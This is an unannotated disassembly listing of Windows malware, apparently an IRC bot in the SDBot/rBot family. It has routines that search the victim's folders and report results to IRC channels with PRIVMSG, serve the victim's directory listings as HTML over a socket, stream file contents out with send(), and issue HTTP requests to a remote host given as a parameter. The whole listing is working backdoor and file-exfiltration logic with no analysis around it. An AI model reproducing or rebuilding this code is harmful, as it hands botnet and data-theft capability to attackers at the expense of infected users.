arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		mov	[ebp+var_4], edi
		call	_memset
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_406103
		push	eax
		push	offset aS_9	; "\\%s"
		jmp	short loc_40610C
; ---------------------------------------------------------------------------


loc_406103:				; CODE XREF: sub_4060CD+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_40610C:				; CODE XREF: sub_4060CD+34j
		lea	eax, [ebp+Str]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		lea	eax, [ebp+Str]
		xor	esi, esi
		xor	ebx, ebx
		push	eax		; Str
		call	_strlen
		test	eax, eax
		pop	ecx
		jbe	short loc_4061A7
		mov	[ebp+arg_8], 2


loc_406137:				; CODE XREF: sub_4060CD+D8j
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_406177
		cmp	[ebp+esi+Str], 25h
		jnz	short loc_406177
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_406177
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_406177
		inc	esi
		mov	[ebp+ebx+Dst], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_406191
; ---------------------------------------------------------------------------


loc_406177:				; CODE XREF: sub_4060CD+7Aj
					; sub_4060CD+84j ...
		mov	al, [ebp+esi+Str]
		cmp	al, 2Fh
		jnz	short loc_406187
		push	5Ch
		pop	eax
		jmp	short loc_40618A
; ---------------------------------------------------------------------------


loc_406187:				; CODE XREF: sub_4060CD+B3j
		movsx	eax, al


loc_40618A:				; CODE XREF: sub_4060CD+B8j
		mov	[ebp+ebx+Dst], al


loc_406191:				; CODE XREF: sub_4060CD+A8j
		lea	eax, [ebp+Str]
		inc	esi
		inc	[ebp+arg_8]
		push	eax		; Str
		inc	ebx
		call	_strlen
		cmp	esi, eax
		pop	ecx
		jb	short loc_406137


loc_4061A7:				; CODE XREF: sub_4060CD+61j
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+Format]
		push	[ebp+arg_4]
		push	offset aSS_2	; "%s%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Format]
		push	offset asc_429660 ; "\n"
		push	eax		; Str
		call	_strtok
		add	esp, 18h
		lea	eax, [ebp+Format]
		push	eax
		call	ds:dword_4230A4	; GetFileAttributesA
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_4061F5
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4061F8
		push	[ebp+arg_0]
		jmp	short loc_406274
; ---------------------------------------------------------------------------


loc_4061F5:				; CODE XREF: sub_4060CD+11Cj
		mov	[ebp+var_4], esi


loc_4061F8:				; CODE XREF: sub_4060CD+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_406205
		mov	[ebp+var_4], esi


loc_406205:				; CODE XREF: sub_4060CD+133j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40627F
		cmp	[ebp+arg_C], edi
		jz	short loc_406273
		lea	eax, [ebp+Format]
		push	offset asc_42965C ; "*"
		push	eax		; Dest
		call	_strcat
		lea	eax, [ebp+Format]
		push	eax		; Format
		lea	eax, [ebp+var_640]
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Str
		call	sub_406ABC
		lea	eax, [ebp+Dst]
		push	eax		; Format
		lea	eax, [ebp+var_53C]
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		or	[ebp+var_330], 0FFFFFFFFh
		mov	[ebp+var_31C], esi
		jmp	short loc_4062CE
; ---------------------------------------------------------------------------


loc_406273:				; CODE XREF: sub_4060CD+14Fj
		push	ebx


loc_406274:				; CODE XREF: sub_4060CD+126j
		call	ds:dword_43C6B0	; closesocket
		jmp	loc_406376
; ---------------------------------------------------------------------------


loc_40627F:				; CODE XREF: sub_4060CD+14Aj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+Format]
		push	80000000h
		push	eax
		call	ds:dword_423080
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4062CE
		lea	eax, [ebp+Format]
		push	eax		; Format
		lea	eax, [ebp+var_640]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	ds:dword_4230A0
		push	esi
		mov	[ebp+var_330], eax
		call	ds:dword_423074


loc_4062CE:				; CODE XREF: sub_4060CD+1A4j
					; sub_4060CD+1CFj
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+Source]
		push	esi
		push	offset unk_42961C ; Format
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		lea	eax, [ebp+Source]
		push	3		; int
		push	eax		; Source
		call	sub_416D48
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	ds:dword_442074[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_405F4B
		push	edi
		push	edi
		call	ds:dword_42309C
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	ds:dword_442084[ecx], eax
		jz	short loc_406348


loc_406336:				; CODE XREF: sub_4060CD+279j
		cmp	[ebp+var_318], edi
		jnz	short loc_406376
		push	5
		call	ds:dword_423060	; Sleep
		jmp	short loc_406336
; ---------------------------------------------------------------------------


loc_406348:				; CODE XREF: sub_4060CD+267j
		push	ebx
		call	ds:dword_43C6B0	; closesocket
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset unk_4295D4 ; Format
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	eax
		call	sub_40BF6F
		add	esp, 10h


loc_406376:				; CODE XREF: sub_4060CD+1ADj
					; sub_4060CD+26Fj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4060CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40637D(char *Str,int,int,char	*Source)

sub_40637D	proc near		; CODE XREF: sub_405F4B+159p
					; sub_40EE51+49C7p

Dst		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
Str1		= byte ptr -35Ch
var_248		= byte ptr -248h
Dest		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Source		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	_memset
		mov	edi, [ebp+Str]
		push	offset asc_429660 ; "\n"
		push	edi		; Str
		call	_strtok
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_4063DC
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		jmp	loc_4064D9
; ---------------------------------------------------------------------------


loc_4063DC:				; CODE XREF: sub_40637D+3Aj
		cmp	[ebp+Source], ebx
		push	edi		; Str
		jz	loc_4064BF
		call	_strlen
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43C668	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43C668	; send
		push	edi		; Str
		call	_strlen
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43C668	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		jmp	short loc_4064D9
; ---------------------------------------------------------------------------


loc_4064BF:				; CODE XREF: sub_40637D+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h


loc_4064D9:				; CODE XREF: sub_40637D+5Aj
					; sub_40637D+140j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43C668	; send
		cmp	[ebp+Source], ebx
		jz	short loc_406571
		push	[ebp+Source]	; Str
		call	_strlen
		cmp	eax, 2
		pop	ecx
		jbe	short loc_406571
		push	[ebp+Source]	; Str
		call	_strlen
		sub	eax, 3
		pop	ecx
		jz	short loc_406525


loc_406519:				; CODE XREF: sub_40637D+1A6j
		mov	ecx, [ebp+Source]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_406525
		dec	eax
		jnz	short loc_406519


loc_406525:				; CODE XREF: sub_40637D+19Aj
					; sub_40637D+1A3j
		inc	eax
		push	eax		; Count
		lea	eax, [ebp+Dst]
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+Dst]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43C668	; send


loc_406571:				; CODE XREF: sub_40637D+17Ej
					; sub_40637D+18Cj
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	ds:dword_4230B8
		lea	ecx, [ebp+var_388]
		mov	[ebp+Str], eax
		push	ecx
		push	eax
		call	ds:dword_4230B4	; FindNextFileA
		test	eax, eax
		jz	loc_406962
		mov	edi, 1FFh


loc_40659D:				; CODE XREF: sub_40637D+5DFj
		cmp	[ebp+var_388], ebx
		jz	loc_40694A
		lea	eax, [ebp+Str1]
		push	offset a__	; ".."
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40694A
		lea	eax, [ebp+Str1]
		push	offset a_	; "."
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40694A
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	ds:dword_4230B0	; FileTimeToLocalFileTime
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	ds:dword_4230AC	; FileTimeToSystemTime
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_406612
		mov	ecx, offset aAm	; "AM"


loc_406612:				; CODE XREF: sub_40637D+28Ej
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40661E
		sub	eax, 0Ch


loc_40661E:				; CODE XREF: sub_40637D+29Cj
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_4067CB
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40669F
		lea	eax, [ebp+Str1]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h		; Count
		push	eax		; Dest
		call	__snprintf
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 28h
		jmp	loc_40691B
; ---------------------------------------------------------------------------


loc_40669F:				; CODE XREF: sub_40637D+2DBj
		cmp	[ebp+Source], ebx
		jz	loc_406789
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43C668	; send
		lea	eax, [ebp+Str1]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+Source]
		push	offset aSS_0	; "%s%s/"
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43C668	; send
		lea	eax, [ebp+Str1]
		push	eax		; Str
		call	_strlen
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+Str1]
		push	eax
		jbe	short loc_40673F
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_406744
; ---------------------------------------------------------------------------


loc_40673F:				; CODE XREF: sub_40637D+3B9j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_406744:				; CODE XREF: sub_40637D+3C0j
		lea	eax, [ebp+var_248]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43C668	; send
		lea	eax, [ebp+Dest]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40690C
; ---------------------------------------------------------------------------


loc_406789:				; CODE XREF: sub_40637D+325j
		lea	eax, [ebp+Str1]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h		; Count
		push	eax		; Dest
		call	__snprintf
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_4067B6:				; CODE XREF: sub_40637D+476j
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 24h
		jmp	loc_40691B
; ---------------------------------------------------------------------------


loc_4067CB:				; CODE XREF: sub_40637D+2CFj
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4067F5
		push	ebx
		push	[ebp+var_368]
		call	sub_40D01A
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Str1]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_4067B6
; ---------------------------------------------------------------------------


loc_4067F5:				; CODE XREF: sub_40637D+454j
		cmp	[ebp+Source], ebx
		jz	loc_4068F5
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43C668	; send
		lea	eax, [ebp+Str1]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+Source]
		push	offset aSS_2	; "%s%s"
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43C668	; send
		lea	eax, [ebp+Str1]
		push	eax		; Str
		call	_strlen
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+Str1]
		push	eax
		jbe	short loc_406895
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40689A
; ---------------------------------------------------------------------------


loc_406895:				; CODE XREF: sub_40637D+50Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_40689A:				; CODE XREF: sub_40637D+516j
		lea	eax, [ebp+var_248]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43C668	; send
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+Dest]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_248]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		jmp	short loc_40691B
; ---------------------------------------------------------------------------


loc_4068F5:				; CODE XREF: sub_40637D+47Bj
		push	[ebp+var_368]
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Str1]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi		; Count


loc_40690C:				; CODE XREF: sub_40637D+407j
		lea	eax, [ebp+var_248]
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h


loc_40691B:				; CODE XREF: sub_40637D+31Dj
					; sub_40637D+449j ...
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43C668	; send
		cmp	[ebp+arg_8], ebx
		jz	short loc_40694A
		push	7D0h
		call	ds:dword_423060	; Sleep


loc_40694A:				; CODE XREF: sub_40637D+226j
					; sub_40637D+241j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+Str]
		call	ds:dword_4230B4	; FindNextFileA
		test	eax, eax
		jnz	loc_40659D


loc_406962:				; CODE XREF: sub_40637D+215j
		push	[ebp+Str]
		call	ds:dword_4230A8	; FindClose
		cmp	[ebp+arg_8], ebx
		jz	short loc_4069A5
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		jmp	short loc_4069D9
; ---------------------------------------------------------------------------


loc_4069A5:				; CODE XREF: sub_40637D+5F1j
		cmp	[ebp+Source], ebx
		jz	short loc_4069BF
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_4069D9
; ---------------------------------------------------------------------------


loc_4069BF:				; CODE XREF: sub_40637D+62Bj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h


loc_4069D9:				; CODE XREF: sub_40637D+626j
					; sub_40637D+640j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43C668	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40637D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4069FF	proc near		; CODE XREF: sub_405F4B+13Bp

Dst		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	ds:dword_423080
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_406AB7
		push	esi
		push	ebx
		call	ds:dword_4230A0
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_406AB0


loc_406A44:				; CODE XREF: sub_4069FF+AFj
		push	400h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_406A61
		mov	edi, [ebp+arg_4]


loc_406A61:				; CODE XREF: sub_4069FF+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	ds:dword_4230BC
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+Dst]
		push	edi
		push	eax
		push	ebx
		call	ds:dword_423070
		push	esi
		lea	eax, [ebp+Dst]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43C668	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406AAB
		call	ds:dword_43C5AC	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_406AB0
		xor	eax, eax


loc_406AAB:				; CODE XREF: sub_4069FF+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_406A44


loc_406AB0:				; CODE XREF: sub_4069FF+43j
					; sub_4069FF+A8j
		push	ebx
		call	ds:dword_423074


loc_406AB7:				; CODE XREF: sub_4069FF+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4069FF	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_406ABC(char *Str)

sub_406ABC	proc near		; CODE XREF: sub_4060CD+17Cp

Str		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+Str]
		xor	esi, esi
		push	edi		; Str
		call	_strlen
		test	eax, eax
		pop	ecx
		jbe	short loc_406AE5


loc_406ACF:				; CODE XREF: sub_406ABC+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_406AD9
		mov	byte ptr [esi+edi], 2Fh


loc_406AD9:				; CODE XREF: sub_406ABC+17j
		push	edi		; Str
		inc	esi
		call	_strlen
		cmp	esi, eax
		pop	ecx
		jb	short loc_406ACF


loc_406AE5:				; CODE XREF: sub_406ABC+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_406ABC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406AEA	proc near		; CODE XREF: sub_40EE51+2C0Dp

var_4A0		= byte ptr -4A0h
Dest		= byte ptr -310h
Str		= byte ptr -110h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	ds:dword_43C590	; WSAStartup
		push	6
		push	1
		push	2
		call	ds:dword_43C698	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+arg_14]
		call	ds:dword_43C618	; htons
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40ADC5
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_43C5C0	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406BC7
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_406B63
		mov	eax, offset byte_4397BC


loc_406B63:				; CODE XREF: sub_406AEA+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+Str]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		lea	eax, [ebp+Str]
		push	edi
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	ebx
		call	ds:dword_43C668	; send
		push	esi		; Size
		lea	eax, [ebp+Str]
		push	edi		; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		lea	eax, [ebp+Str]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	ds:dword_43C630	; recv
		pop	esi


loc_406BC7:				; CODE XREF: sub_406AEA+6Bj
		push	ebx
		call	ds:dword_43C6B0	; closesocket
		call	ds:dword_43C578	; WSACleanup
		lea	eax, [ebp+Str]
		push	eax		; Format
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_406C07
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 14h


loc_406C07:				; CODE XREF: sub_406AEA+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_406AEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C0B	proc near		; CODE XREF: sub_406C0B:loc_4070F6p
					; DATA XREF: sub_407243+107o ...

var_884		= dword	ptr -884h
var_880		= dword	ptr -880h
Dest		= byte ptr -780h
var_580		= byte ptr -580h
var_57F		= byte ptr -57Fh
var_57E		= byte ptr -57Eh
var_57D		= byte ptr -57Dh
DstBuf		= byte ptr -57Ch
var_37C		= dword	ptr -37Ch
Filename	= byte ptr -378h
Str1		= byte ptr -274h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
Str		= byte ptr -164h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
Str2		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_58		= byte ptr -58h
Dst		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
